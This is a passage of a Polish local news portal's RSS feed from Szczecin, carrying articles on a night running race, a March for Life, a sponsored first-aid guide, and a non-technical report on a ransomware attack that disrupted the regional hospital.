		<category><![CDATA[Zdrowie]]></category>
		<guid isPermaLink="false">https://szczecinportal.pl/?p=8543</guid>

					<description><![CDATA[<p>Szczecin znowu pobiegnie po zmroku. W nocy z 8 na 9 maja odbędzie się 7. Szczeciński Bieg Nocny, a zainteresowanie wydarzeniem już teraz jest bardzo duże. Na listach startowych znajduje się ponad 1600 zawodników, a organizatorzy zakładają, że tegoroczna edycja może zgromadzić nawet 2 tysiące uczestników. Start i meta tradycyjnie zostaną zlokalizowane w rejonie Jasnych [&#8230;]</p>
<p>Artykuł <a href="https://szczecinportal.pl/szczecinski-bieg-nocny-2026-coraz-blizej-na-listach-juz-ponad-1600-osob/">Szczeciński Bieg Nocny 2026 coraz bliżej. Na listach już ponad 1600 osób</a> pochodzi z serwisu <a href="https://szczecinportal.pl">Szczecin Portal</a>.</p>
]]></description>
										<content:encoded><![CDATA[<p data-start="102" data-end="407">Szczecin znowu pobiegnie po zmroku. W nocy z 8 na 9 maja odbędzie się 7. Szczeciński Bieg Nocny, a zainteresowanie wydarzeniem już teraz jest bardzo duże. Na listach startowych znajduje się ponad 1600 zawodników, a organizatorzy zakładają, że tegoroczna edycja może zgromadzić nawet 2 tysiące uczestników.</p>
<p data-start="409" data-end="830">Start i meta tradycyjnie zostaną zlokalizowane w rejonie <a rel="nofollow" href="https://szczecinportal.pl/jasne-blonia-w-szczecinie/">Jasnych Błoni</a>. Biegacze wyruszą z ul. Szymanowskiego, na odcinku między gmachem Urzędu Miasta a Fontanną Bartłomiejką. Do wyboru będą dwa dystanse: 5 i 10 kilometrów. Krótszy wariant oznacza jedną pętlę, a dłuższy dwa okrążenia tej samej trasy, prowadzącej przez główne ulice Szczecina, w tym m.in. Monte Cassino, aleję Bohaterów Warszawy i aleję Wojska Polskiego.</p>
<h2 data-section-id="3jag79" data-start="832" data-end="888">7. Szczeciński Bieg Nocny znów opanuje centrum miasta</h2>
<p data-start="890" data-end="1185">To wydarzenie od kilku lat ma w Szczecinie swoją stałą publiczność. Bieg nocny przyciąga nie tylko tych, którzy walczą o wynik, ale też osoby szukające sportowej atmosfery i trochę innego spojrzenia na miasto. Trudno się dziwić. Nocna trasa, <a rel="nofollow" href="https://szczecinportal.pl/brama-krolewska-w-szczecinie-historia-informacje-i-ciekawostki/">centrum Szczecina</a> i start tuż po północy robią swoje.</p>
<p data-start="1187" data-end="1475">W regulaminie tegorocznej edycji zapisano, że bieg na obu dystansach ma ruszyć około godziny 0:01. Organizator dopuszcza też start falowy. Limit uczestników wynosi 2000 osób łącznie dla obu dystansów, dlatego osoby, które wciąż się wahają, nie powinny odkładać decyzji na ostatnią chwilę.</p>
<figure id="attachment_8545" aria-describedby="caption-attachment-8545" style="width: 1024px" class="wp-caption aligncenter"><img decoding="async" class="size-full wp-image-8545" src="https://szczecinportal.pl/wp-content/uploads/2026/04/trasa-7-biegu-nocnego-szczecin.webp" alt="Trasa 7 biegu nocnego w Szczecinie" width="1024" height="1024" srcset="https://szczecinportal.pl/wp-content/uploads/2026/04/trasa-7-biegu-nocnego-szczecin.webp 1024w, https://szczecinportal.pl/wp-content/uploads/2026/04/trasa-7-biegu-nocnego-szczecin-300x300.webp 300w, https://szczecinportal.pl/wp-content/uploads/2026/04/trasa-7-biegu-nocnego-szczecin-150x150.webp 150w, https://szczecinportal.pl/wp-content/uploads/2026/04/trasa-7-biegu-nocnego-szczecin-768x768.webp 768w, https://szczecinportal.pl/wp-content/uploads/2026/04/trasa-7-biegu-nocnego-szczecin-500x500.webp 500w, https://szczecinportal.pl/wp-content/uploads/2026/04/trasa-7-biegu-nocnego-szczecin-75x75.webp 75w, https://szczecinportal.pl/wp-content/uploads/2026/04/trasa-7-biegu-nocnego-szczecin-350x350.webp 350w, https://szczecinportal.pl/wp-content/uploads/2026/04/trasa-7-biegu-nocnego-szczecin-750x750.webp 750w" sizes="(max-width: 1024px) 100vw, 1024px" /><figcaption id="caption-attachment-8545" class="wp-caption-text">Źródło: Żegluga Szczecińska</figcaption></figure>
<h2 data-section-id="18uwgme" data-start="1477" data-end="1535">Nowość w 2026 roku. Pojawiła się klasyfikacja drużynowa</h2>
<p data-start="1537" data-end="1811">Tegoroczna edycja przynosi też nowy element rywalizacji. Chodzi o klasyfikację drużynową, która może dodatkowo podkręcić atmosferę. Aby zgłosić zespół, trzeba zebrać minimum pięć osób, w tym przynajmniej jedną kobietę. Drużyny będą klasyfikowane osobno na 5 i 10 kilometrów.</p>
<p data-start="1813" data-end="2041">To dobra opcja dla firm, klubów biegowych i paczek znajomych, które wolą pobiec razem niż osobno. Liczyć się będzie suma pięciu najlepszych czasów netto. Zgłoszenia drużyn przyjmowane są mailowo na adres: <a class="decorated-link cursor-pointer" rel="noopener" data-start="2018" data-end="2040">biegi@zstw.szczecin.pl</a>.</p>
<figure id="attachment_8111" aria-describedby="caption-attachment-8111" style="width: 857px" class="wp-caption aligncenter"><img decoding="async" class="size-full wp-image-8111" src="https://szczecinportal.pl/wp-content/uploads/2026/03/7-szczecinski-bieg-nocny-nowa-trasa-2026.webp" alt="7. Szczeciński Bieg Nocny: nowa trasa przez Turzyn i al. Wojska Polskiego (noc 8/9 maja 2026)" width="857" height="572" srcset="https://szczecinportal.pl/wp-content/uploads/2026/03/7-szczecinski-bieg-nocny-nowa-trasa-2026.webp 857w, https://szczecinportal.pl/wp-content/uploads/2026/03/7-szczecinski-bieg-nocny-nowa-trasa-2026-300x200.webp 300w, https://szczecinportal.pl/wp-content/uploads/2026/03/7-szczecinski-bieg-nocny-nowa-trasa-2026-768x513.webp 768w, https://szczecinportal.pl/wp-content/uploads/2026/03/7-szczecinski-bieg-nocny-nowa-trasa-2026-391x260.webp 391w, https://szczecinportal.pl/wp-content/uploads/2026/03/7-szczecinski-bieg-nocny-nowa-trasa-2026-750x501.webp 750w" sizes="(max-width: 857px) 100vw, 857px" /><figcaption id="caption-attachment-8111" class="wp-caption-text">Źródło: Wiadomości Szczecin</figcaption></figure>
<h2 data-section-id="xe1tjd" data-start="2043" data-end="2100">Bieg Świetlików dla dzieci rozpocznie sportowy wieczór</h2>
<p data-start="2102" data-end="2333">Szczeciński Bieg Nocny nie będzie jedyną atrakcją tego dnia. Jeszcze przed nocnym startem dorosłych na Jasnych Błoniach odbędzie się 3. Szczeciński Bieg Świetlików. To propozycja dla najmłodszych uczestników w wieku od 5 do 13 lat.</p>
<p data-start="2335" data-end="2583">Dzieci pobiegną na dystansach od 200 do 1000 metrów. Rozgrzewka ma rozpocząć się o godz. 20:00, a same biegi o 20:15. W programie zapowiedziano nie tylko sportowe emocje, ale też świecące akcenty, pamiątkowe medale i atrakcje w miasteczku biegowym.</p>
<h2 data-section-id="1q6c55s" data-start="2585" data-end="2648">Na Jasnych Błoniach nie zabraknie atrakcji także dla kibiców</h2>
<p data-start="2650" data-end="2958">Organizatorzy podkreślają, że Szczeciński Bieg Nocny to nie tylko rywalizacja na trasie. W miasteczku biegowym mają pojawić się strefa relaksu, spotkania z fizjoterapeutami oraz animacje dla dzieci. Zaplanowano też malowanie twarzy i przestrzeń dla kibiców, którzy chcą po prostu poczuć atmosferę wydarzenia.</p>
<p data-start="2960" data-end="3202">To ważne, bo ten bieg od dawna działa szerzej niż tylko jako impreza dla regularnie trenujących. Tu równie dobrze odnajdują się ci, którzy biegną po wynik, jak i ci, którzy chcą zaliczyć 5 kilometrów w wyjątkowej oprawie i z medalem na mecie.</p>
<figure id="attachment_8546" aria-describedby="caption-attachment-8546" style="width: 600px" class="wp-caption aligncenter"><img decoding="async" class="size-full wp-image-8546" src="https://szczecinportal.pl/wp-content/uploads/2026/04/7-szczecinski-bieg-nocny-koszulki.jpg" alt="7 Szczeciński bieg nocny - wizualizacja koszulek" width="600" height="800" srcset="https://szczecinportal.pl/wp-content/uploads/2026/04/7-szczecinski-bieg-nocny-koszulki.jpg 600w, https://szczecinportal.pl/wp-content/uploads/2026/04/7-szczecinski-bieg-nocny-koszulki-225x300.jpg 225w, https://szczecinportal.pl/wp-content/uploads/2026/04/7-szczecinski-bieg-nocny-koszulki-300x400.jpg 300w" sizes="(max-width: 600px) 100vw, 600px" /><figcaption id="caption-attachment-8546" class="wp-caption-text">7 Szczeciński bieg nocny &#8211; wizualizacja koszulek<br />fot. Żegluga Szczecińska</figcaption></figure>
<h2 data-section-id="1sq6089" data-start="3204" data-end="3257">Zapisy na Szczeciński Bieg Nocny 2026 wciąż trwają</h2>
<p data-start="3259" data-end="3469">Listy startowe na oba biegi są nadal otwarte. Zapisy online mają potrwać do 6 maja 2026 roku do godz. 23:59 albo do wyczerpania limitu miejsc. Szczegóły, regulaminy i formularze zgłoszeniowe dostępne są online.</p>
<p data-start="3820" data-end="3960">Zapisy na bieg główny: <a href="https://www.protiming24.pl/startmeta/ev/szczecinski-bieg-nocny" target="_new" rel="nofollow noopener">Szczeciński Bieg Nocny 2026</a>.</p>
<p>Zapisy na bieg dziecięcy: <a href="https://www.protiming24.pl/startmeta/ev/szczecinski-bieg-swietlikow" target="_new" rel="nofollow noopener">Szczeciński Bieg Świetlików 2026</a>.</p>
<p>Regulamin i informacje organizacyjne: <a href="https://www.zstw.szczecin.pl" target="_new" rel="nofollow noopener">www.zstw.szczecin.pl</a>.</p>
<p>Źródła:</p>
<p>Visit Szczecin<br />
Wiadomości Szczecin<br />
Żegluga Szczecińska</p>
<p>Artykuł <a href="https://szczecinportal.pl/szczecinski-bieg-nocny-2026-coraz-blizej-na-listach-juz-ponad-1600-osob/">Szczeciński Bieg Nocny 2026 coraz bliżej. Na listach już ponad 1600 osób</a> pochodzi z serwisu <a href="https://szczecinportal.pl">Szczecin Portal</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://szczecinportal.pl/szczecinski-bieg-nocny-2026-coraz-blizej-na-listach-juz-ponad-1600-osob/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>22. Szczeciński Marsz dla Życia już 19 kwietnia. Start na Jasnych Błoniach!</title>
		<link>https://szczecinportal.pl/22-szczecinski-marsz-dla-zycia-juz-19-kwietnia-start-na-jasnych-bloniach/</link>
					<comments>https://szczecinportal.pl/22-szczecinski-marsz-dla-zycia-juz-19-kwietnia-start-na-jasnych-bloniach/#respond</comments>
		
		<dc:creator><![CDATA[Redakcja]]></dc:creator>
		<pubDate>Thu, 16 Apr 2026 10:00:14 +0000</pubDate>
				<category><![CDATA[Aktualności]]></category>
		<category><![CDATA[Kultura i rozrywka]]></category>
		<category><![CDATA[Lifestyle]]></category>
		<category><![CDATA[Wiadomości]]></category>
		<category><![CDATA[Wydarzenia]]></category>
		<category><![CDATA[Zdrowie]]></category>
		<guid isPermaLink="false">https://szczecinportal.pl/?p=8433</guid>

					<description><![CDATA[<p>Już 19 kwietnia ulicami Szczecina przejdzie 22. Szczeciński Marsz dla Życia. Wydarzenie rozpocznie się o godz. 15:00 na Jasnych Błoniach. Tegoroczna edycja odbędzie się pod hasłem „Jestem dla Ciebie”. Marsz dla Życia w Szczecinie ma być wyrazem szacunku dla życia i godności każdego człowieka – od poczęcia aż do naturalnej śmierci. Organizatorzy podkreślają jednak, że [&#8230;]</p>
<p>Artykuł <a href="https://szczecinportal.pl/22-szczecinski-marsz-dla-zycia-juz-19-kwietnia-start-na-jasnych-bloniach/">22. Szczeciński Marsz dla Życia już 19 kwietnia. Start na Jasnych Błoniach!</a> pochodzi z serwisu <a href="https://szczecinportal.pl">Szczecin Portal</a>.</p>
]]></description>
										<content:encoded><![CDATA[<p data-start="178" data-end="378">Już 19 kwietnia ulicami Szczecina przejdzie 22. Szczeciński Marsz dla Życia. Wydarzenie rozpocznie się o godz. 15:00 na Jasnych Błoniach. Tegoroczna edycja odbędzie się pod hasłem „Jestem dla Ciebie”.</p>
<p data-start="380" data-end="675">Marsz dla Życia w Szczecinie ma być wyrazem szacunku dla życia i godności każdego człowieka – od poczęcia aż do naturalnej śmierci. Organizatorzy podkreślają jednak, że tegoroczne hasło nie jest tylko symbolicznym hasłem na banerze. Ma przypominać o konkretnej postawie wobec drugiego człowieka.</p>
<h2 data-section-id="rkeq79" data-start="677" data-end="718">„Jestem dla Ciebie” to nie tylko hasło</h2>
<p data-start="720" data-end="957">Przesłanie tegorocznego marszu skupia się na codziennej wrażliwości. Chodzi o obecność, pomoc i zwykłą ludzką życzliwość. O wsparcie dla osób samotnych, rodzin wychowujących chore dzieci, a także troskę o seniorów i ludzi potrzebujących.</p>
<p data-start="959" data-end="1103">To właśnie ten praktyczny wymiar ma być dziś najważniejszy. Nie same deklaracje, ale realne działanie. Nie wielkie słowa, tylko konkretna pomoc.</p>
<figure id="attachment_8435" aria-describedby="caption-attachment-8435" style="width: 800px" class="wp-caption aligncenter"><img decoding="async" class="size-full wp-image-8435" src="https://szczecinportal.pl/wp-content/uploads/2026/04/marsz-dla-zycia-szczecin-2026.jpg" alt="Marsz dla życia - Szczecin 2026" width="800" height="300" srcset="https://szczecinportal.pl/wp-content/uploads/2026/04/marsz-dla-zycia-szczecin-2026.jpg 800w, https://szczecinportal.pl/wp-content/uploads/2026/04/marsz-dla-zycia-szczecin-2026-300x113.jpg 300w, https://szczecinportal.pl/wp-content/uploads/2026/04/marsz-dla-zycia-szczecin-2026-768x288.jpg 768w, https://szczecinportal.pl/wp-content/uploads/2026/04/marsz-dla-zycia-szczecin-2026-750x281.jpg 750w" sizes="(max-width: 800px) 100vw, 800px" /><figcaption id="caption-attachment-8435" class="wp-caption-text">Marsz dla życia &#8211; Szczecin 2026</figcaption></figure>
<h2 data-section-id="g1fy1k" data-start="1105" data-end="1176">W czasie marszu będzie można wesprzeć Hospicjum Perinatalne „Jestem”</h2>
<p data-start="1178" data-end="1400">W tym roku uczestnicy wydarzenia będą mogli także okazać wsparcie finansowe Hospicjum Perinatalnemu „Jestem”. Zbiórka na rzecz tej placówki była prowadzona już podczas ubiegłorocznego marszu i spotkała się z dużym odzewem.</p>
<p data-start="1402" data-end="1622">Hospicjum działa od ponad roku i objęło już opieką blisko 50 rodzin. Współorganizatorem Szczecińskiego Marszu dla Życia jest Fundacja Małych Stópek, która wspiera i patronuje tej inicjatywie od początku jej działalności.</p>
<h2 data-section-id="38rs38" data-start="1624" data-end="1650">Powstał też hymn marszu</h2>
<p data-start="1652" data-end="1764">Do tegorocznego hasła nawiązuje również hymn „Jestem dla Ciebie”. Teledysk jest już dostępny w serwisie YouTube.</p>
<div style="text-align: center; margin: 30px 0;"><iframe loading="lazy" title="Jestem dla Ciebie - hymn 22. Szczecińskiego Marszu dla Życia" src="https://www.youtube.com/embed/tVKS5f09qQE" width="800" height="450" frameborder="0" allowfullscreen="allowfullscreen"></iframe></div>
<p>Artykuł <a href="https://szczecinportal.pl/22-szczecinski-marsz-dla-zycia-juz-19-kwietnia-start-na-jasnych-bloniach/">22. Szczeciński Marsz dla Życia już 19 kwietnia. Start na Jasnych Błoniach!</a> pochodzi z serwisu <a href="https://szczecinportal.pl">Szczecin Portal</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://szczecinportal.pl/22-szczecinski-marsz-dla-zycia-juz-19-kwietnia-start-na-jasnych-bloniach/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Jak udzielić pierwszej pomocy – co zrobić jako pierwsze?</title>
		<link>https://szczecinportal.pl/jak-udzielic-pierwszej-pomocy-co-zrobic-jako-pierwsze/</link>
					<comments>https://szczecinportal.pl/jak-udzielic-pierwszej-pomocy-co-zrobic-jako-pierwsze/#respond</comments>
		
		<dc:creator><![CDATA[redaktor]]></dc:creator>
		<pubDate>Tue, 17 Mar 2026 12:35:29 +0000</pubDate>
				<category><![CDATA[Aktualności]]></category>
		<category><![CDATA[Zdrowie]]></category>
		<guid isPermaLink="false">https://szczecinportal.pl/?p=8202</guid>

					<description><![CDATA[<p>Spacer po Wałach Chrobrego, wydarzenie na Łasztowni, niedziela na Jasnych Błoniach. Wszystko wygląda zwyczajnie. Do momentu, gdy ktoś obok nagle upada. W takich chwilach liczy się reakcja. Pierwsza pomoc to nie teoria z podręcznika. To konkretne działanie przed przyjazdem karetki. Czym jest pierwsza pomoc i dlaczego każdy powinien ją znać? Pierwsza pomoc to działania podejmowane [&#8230;]</p>
<p>Artykuł <a href="https://szczecinportal.pl/jak-udzielic-pierwszej-pomocy-co-zrobic-jako-pierwsze/">Jak udzielić pierwszej pomocy – co zrobić jako pierwsze?</a> pochodzi z serwisu <a href="https://szczecinportal.pl">Szczecin Portal</a>.</p>
]]></description>
										<content:encoded><![CDATA[<p><span style="font-weight: 400;">Spacer po <a rel="nofollow" href="https://szczecinportal.pl/waly-chrobrego-jeden-z-glownym-punktow-widokowych-szczecina/">Wałach</a> Chrobrego, wydarzenie na <a rel="nofollow" href="https://szczecinportal.pl/lasztownia-w-szczecinie-nowe-serce-miasta/">Łasztowni</a>, niedziela na Jasnych Błoniach. Wszystko wygląda zwyczajnie. Do momentu, gdy ktoś obok nagle upada. W takich chwilach liczy się reakcja. Pierwsza pomoc to nie teoria z podręcznika. To konkretne działanie przed przyjazdem karetki.</span></p>
<h2><b>Czym jest pierwsza pomoc i dlaczego każdy powinien ją znać?</b></h2>
<p><span style="font-weight: 400;"><strong>Pierwsza pomoc</strong> to działania podejmowane w nagłym zagrożeniu życia lub zdrowia, zanim na miejsce dotrze pogotowie ratunkowe. Może dotyczyć omdlenia, urazu, zadławienia czy nagłego zatrzymania krążenia.</span></p>
<p><span style="font-weight: 400;">Nie trzeba być lekarzem, by jej udzielić. Trzeba wiedzieć, co zrobić i nie bać się reagować. W sytuacjach krytycznych każda minuta ma znaczenie. Statystyki są jednoznaczne – szybka reakcja świadka zwiększa szanse przeżycia nawet kilkukrotnie.</span></p>
<p><img decoding="async" class="aligncenter size-full wp-image-8204" src="https://szczecinportal.pl/wp-content/uploads/2026/03/czym-jest-pierwsza-pomoc.jpg" alt="Zdjęcie przedstawia kobietę, która ocenia oddech poszkodowanej" width="800" height="500" srcset="https://szczecinportal.pl/wp-content/uploads/2026/03/czym-jest-pierwsza-pomoc.jpg 800w, https://szczecinportal.pl/wp-content/uploads/2026/03/czym-jest-pierwsza-pomoc-300x188.jpg 300w, https://szczecinportal.pl/wp-content/uploads/2026/03/czym-jest-pierwsza-pomoc-768x480.jpg 768w, https://szczecinportal.pl/wp-content/uploads/2026/03/czym-jest-pierwsza-pomoc-750x469.jpg 750w" sizes="(max-width: 800px) 100vw, 800px" /></p>
<h2><b>Zasady pierwszej pomocy – co zrobić jako pierwsze?</b></h2>
<p><span style="font-weight: 400;">Zasady pierwszej pomocy są proste. Najpierw bezpieczeństwo. Oceniamy miejsce zdarzenia i sprawdzamy, czy nie ma dodatkowych zagrożeń. Dopiero wtedy podchodzimy do osoby poszkodowanej.</span></p>
<p><span style="font-weight: 400;">Kluczowa jest<strong> szybka ocena stanu poszkodowanego</strong>. Sprawdzamy przytomność, oddech i reagujemy zgodnie z sytuacją.</span></p>
<h3><b>Jak sprawdzić przytomność i oddech poszkodowanego?</b></h3>
<p><span style="font-weight: 400;">Najpierw pytamy głośno: „Czy wszystko w porządku?”. Delikatnie potrząsamy za ramiona. Brak <strong>reakcji</strong> oznacza utratę przytomności.</span></p>
<p><span style="font-weight: 400;">Następnie <strong>udrażniamy drogi oddechowe</strong> – odginamy głowę do tyłu i unosimy podbródek. Zbliżamy policzek do ust poszkodowanego. Sprawdzamy, czy czuć wydychane powietrze i czy widać ruchy klatki piersiowej. Ocena trwa maksymalnie 10 sekund.</span></p>
<p><span style="font-weight: 400;">Jeśli poszkodowany oddycha, ale jest nieprzytomny, układamy go w pozycji bezpiecznej.</span></p>
<h4><b>Kiedy zadzwonić pod numer alarmowy 999?</b></h4>
<p><span style="font-weight: 400;">W każdej sytuacji <strong>zagrożenia życia</strong>. Jeśli osoba nie reaguje, ma drgawki, silny ból w klatce piersiowej lub nie oddycha – wzywamy natychmiast zespół ratownictwa medycznego.</span></p>
<p><span style="font-weight: 400;">Numer alarmowy 999 działa w całej Polsce. Dyspozytor medyczny poprowadzi nas krok po kroku. Nie trzeba znać wszystkich procedur. Wystarczy zadzwonić i słuchać. Można skorzystać także z numeru alarmowego 112.</span></p>
<h3><b>Jak prawidłowo wykonać ucisk klatki piersiowej?</b></h3>
<p><span style="font-weight: 400;">Gdy poszkodowany nie oddycha, rozpoczynamy <strong>resuscytację krążeniowo-oddechową</strong>. Ręce układamy w środku klatki piersiowej. Uciskamy mocno i szybko, na głębokość około 5–6 cm. Tempo to 100–120 uciśnięć na minutę.</span></p>
<p><span style="font-weight: 400;">Po 30 uciśnięciach można wykonać 2 oddechy ratownicze. Jeśli nie czujemy się pewnie lub nie chcemy wykonywać oddechów, kontynuujemy same uciśnięcia klatki piersiowej.</span></p>
<h2><b>Czy każdy może udzielić pierwszej pomocy? Co mówi prawo?</b></h2>
<p><span style="font-weight: 400;">Tak. Każdy ma obowiązek udzielić pierwszej pomocy osobie w stanie zagrożenia życia lub zdrowia. Polskie prawo przewiduje konsekwencje za zaniechanie pomocy.</span></p>
<p><span style="font-weight: 400;">Nie odpowiadamy za efekt, lecz za próbę działania. Najgorszą decyzją jest bezczynność.</span></p>
<p><img decoding="async" class="aligncenter size-full wp-image-8203" src="https://szczecinportal.pl/wp-content/uploads/2026/03/pierwsza-pomoc-praktyka.jpg" alt="Zdjęcie przedstawia mężczyznę, który ćwiczy resuscytację na fantomie" width="800" height="500" srcset="https://szczecinportal.pl/wp-content/uploads/2026/03/pierwsza-pomoc-praktyka.jpg 800w, https://szczecinportal.pl/wp-content/uploads/2026/03/pierwsza-pomoc-praktyka-300x188.jpg 300w, https://szczecinportal.pl/wp-content/uploads/2026/03/pierwsza-pomoc-praktyka-768x480.jpg 768w, https://szczecinportal.pl/wp-content/uploads/2026/03/pierwsza-pomoc-praktyka-750x469.jpg 750w" sizes="(max-width: 800px) 100vw, 800px" /></p>
<h2><b>Dlaczego sama teoria nie wystarczy?</b></h2>
<p><span style="font-weight: 400;">Czytanie o pierwszej pomocy to dobry początek. Jednak w realnej sytuacji liczy się pewność działania. Stres, presja czasu i emocje potrafią sparaliżować.</span></p>
<p><span style="font-weight: 400;">Dlatego coraz więcej osób decyduje się na <strong>praktyczne szkolenia</strong>, które pozwalają przećwiczyć różne scenariusze i oswoić się z procedurami.</span></p>
<h2><b>Gdzie w Szczecinie nauczyć się pierwszej pomocy w praktyce?</b></h2>
<p><span style="font-weight: 400;">W Szczecinie szkolenia z pierwszej pomocy prowadzi </span><b>DASMED Medical Training Academy</b><span style="font-weight: 400;">. To lokalny ośrodek szkoleniowy, który od lat przygotowuje mieszkańców, firmy i instytucje do reagowania w sytuacjach zagrożenia życia.</span></p>
<p><span style="font-weight: 400;">Zajęcia opierają się na ćwiczeniach i realistycznych scenariuszach. Uczestnicy pracują na fantomach, uczą się reagować pod presją czasu i oswajają się z procedurami, które w realnej sytuacji mogą uratować życie.</span></p>
<p><span style="font-weight: 400;"><strong>Aktualny harmonogram</strong> wszystkich szkoleń można sprawdzić tutaj: <a href="https://dasmedacademy.pl/Terminarz-szkolen_38a.html" target="_blank" rel="nofollow noopener">Terminarz szkoleń DASMED</a></span></p>
<h2><b>Pierwsza pomoc w Szczecinie – umiejętność, która naprawdę ma znaczenie</b></h2>
<p><span style="font-weight: 400;">Szczecin to miasto ludzi. Spacerujemy nad Odrą, spotykamy się na Bulwarach. Każdego dnia mijamy setki osób. Wystarczy chwila, by ktoś obok potrzebował pomocy.</span></p>
<p><span style="font-weight: 400;">Pierwsza pomoc to nie abstrakcja. To realna umiejętność, która może <strong>uratować życie</strong>. Jeśli chcesz sprawdzić dostępne terminy szkoleń i zdobyć praktyczne kompetencje, zajrzyj do terminarza <strong>DASMED Medical Training Academy</strong>.</span></p>
<p><em>Materiał partnera</em></p>
<p>Artykuł <a href="https://szczecinportal.pl/jak-udzielic-pierwszej-pomocy-co-zrobic-jako-pierwsze/">Jak udzielić pierwszej pomocy – co zrobić jako pierwsze?</a> pochodzi z serwisu <a href="https://szczecinportal.pl">Szczecin Portal</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://szczecinportal.pl/jak-udzielic-pierwszej-pomocy-co-zrobic-jako-pierwsze/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Cyberatak sparaliżował szpital w Szczecinie. Pacjenci wrócili do papierowych kart i dłuższego czekania</title>
		<link>https://szczecinportal.pl/cyberatak-sparalizowal-szpital-w-szczecinie/</link>
					<comments>https://szczecinportal.pl/cyberatak-sparalizowal-szpital-w-szczecinie/#respond</comments>
		
		<dc:creator><![CDATA[Redakcja]]></dc:creator>
		<pubDate>Mon, 16 Mar 2026 13:26:05 +0000</pubDate>
				<category><![CDATA[Aktualności]]></category>
		<category><![CDATA[Wiadomości]]></category>
		<category><![CDATA[Zdrowie]]></category>
		<guid isPermaLink="false">https://szczecinportal.pl/?p=8185</guid>

					<description><![CDATA[<p>To miał być zwykły weekendowy dyżur. Zamiast tego w Szczecińskim Szpitalu Wojewódzkim doszło do poważnego cyberataku, którego skutki placówka odczuwa do dziś. Złośliwe oprogramowanie zaszyfrowało część danych, a sprawcy mieli zażądać okupu liczonego w milionach dolarów. Dla pacjentów oznacza to jedno: więcej papieru, mniej automatyzacji i sporo nerwów. Szpital w Szczecinie po cyberataku działa w [&#8230;]</p>
<p>Artykuł <a href="https://szczecinportal.pl/cyberatak-sparalizowal-szpital-w-szczecinie/">Cyberatak sparaliżował szpital w Szczecinie. Pacjenci wrócili do papierowych kart i dłuższego czekania</a> pochodzi z serwisu <a href="https://szczecinportal.pl">Szczecin Portal</a>.</p>
]]></description>
										<content:encoded><![CDATA[<p data-start="106" data-end="460">To miał być zwykły weekendowy dyżur. Zamiast tego w Szczecińskim Szpitalu Wojewódzkim doszło do poważnego cyberataku, którego skutki placówka odczuwa do dziś. Złośliwe oprogramowanie zaszyfrowało część danych, a sprawcy mieli zażądać okupu liczonego w milionach dolarów. Dla pacjentów oznacza to jedno: więcej papieru, mniej automatyzacji i sporo nerwów.</p>
<h2 data-section-id="1v267dv" data-start="462" data-end="525">Szpital w Szczecinie po cyberataku działa w trybie awaryjnym</h2>
<p data-start="527" data-end="876">Pierwsze sygnały pojawiły się w nocy z soboty na niedzielę. Administratorzy zauważyli nieprawidłowości w działaniu systemów informatycznych. Szpital natychmiast odłączono od sieci, by zatrzymać rozprzestrzenianie się złośliwego oprogramowania. Ta decyzja ograniczyła skalę problemu, ale jednocześnie unieruchomiła dużą część cyfrowej infrastruktury.</p>
<p data-start="878" data-end="1230">Tydzień po ataku placówka wciąż pracuje bez dostępu do wielu kluczowych systemów. Dokumentacja medyczna jest prowadzona ręcznie. Wyniki badań trafiają do lekarzy na papierze. To powrót do realiów, które wielu medyków pamięta sprzed kilkunastu lat. Różnica jest taka, że dziś cały szpital działa już na zupełnie innym poziomie zależności od technologii.</p>
<p data-start="1232" data-end="1384">Śledztwo w sprawie incydentu prowadzi Prokuratura Okręgowa w Szczecinie. Na razie nie ma informacji, kiedy wszystkie systemy wrócą do pełnej sprawności.</p>
<h2 data-section-id="1m3fwi6" data-start="1386" data-end="1424">Utrudnienia dla pacjentów są realne</h2>
<p data-start="1426" data-end="1775">Najbardziej skutki ataku odczuwają pacjenci. Czas oczekiwania na wizyty, badania i wyniki diagnostyczne się wydłużył. Rejestracja do poradni działa tylko informacyjnie. Nie można zapisywać nowych wizyt ani zmieniać już ustalonych terminów. To dla wielu osób poważny problem, szczególnie gdy chodzi o leczenie wymagające ciągłości i szybkiej reakcji.</p>
<p data-start="1777" data-end="2064">Szpital zawiesił też część usług komercyjnych w laboratorium. Badania zostały ograniczone głównie do pacjentów hospitalizowanych. W praktyce oznacza to mniej dostępnych możliwości i więcej organizacyjnego chaosu. Pacjenci mówią wprost: wszystko odbywa się na papierze, ręcznie i wolniej.</p>
<p data-start="2066" data-end="2269">W takiej sytuacji nawet prosta sprawa urasta do rangi wyzwania. Rejestracja, odbiór wyników czy przekazanie historii leczenia wymaga dziś większej cierpliwości. I niestety, także większej wyrozumiałości.</p>
<h2 data-section-id="ad7hkr" data-start="2271" data-end="2309">Oddziały i SOR-y działają normalnie</h2>
<p data-start="2311" data-end="2565">Mimo poważnych utrudnień szpital podkreśla, że opieka nad pacjentami nie została przerwana. Oddziały oraz szpitalne oddziały ratunkowe w obu lokalizacjach, przy ul. Arkońskiej i w Zdunowie, działają normalnie. Realizowane są także planowe hospitalizacje.</p>
<p data-start="2567" data-end="2881">To najważniejsza informacja w całej tej trudnej sytuacji. Nie było zagrożenia dla życia ani zdrowia pacjentów. Nie było też konieczności ewakuacji czy wstrzymania przyjęć. Z punktu widzenia bezpieczeństwa medycznego placówka utrzymała ciągłość działania, choć odbywa się to dziś w znacznie trudniejszych warunkach.</p>
<h2 data-section-id="1neq8m2" data-start="2883" data-end="2940">Papier zamiast systemów. Lekarze proszą o dokumentację</h2>
<p data-start="2942" data-end="3212">Dyrekcja apeluje do pacjentów, by na wizyty zabierali całą posiadaną dokumentację medyczną. To dziś bardzo ważne. Gdy lekarz nie ma pełnego dostępu do elektronicznych danych, każdy wynik, wypis czy karta informacyjna może ułatwić podjęcie decyzji i przyspieszyć obsługę.</p>
<p data-start="3214" data-end="3533">W praktyce cyberatak nie zatrzymał leczenia, ale mocno je utrudnił. Szpital nadal działa, lecz bez wielu narzędzi, które na co dzień pozostają niewidoczne dla pacjentów. To właśnie te „niewidoczne” systemy odpowiadają za sprawne przekazywanie danych, rejestrację, opisy badań czy komunikację z zewnętrznymi platformami.</p>
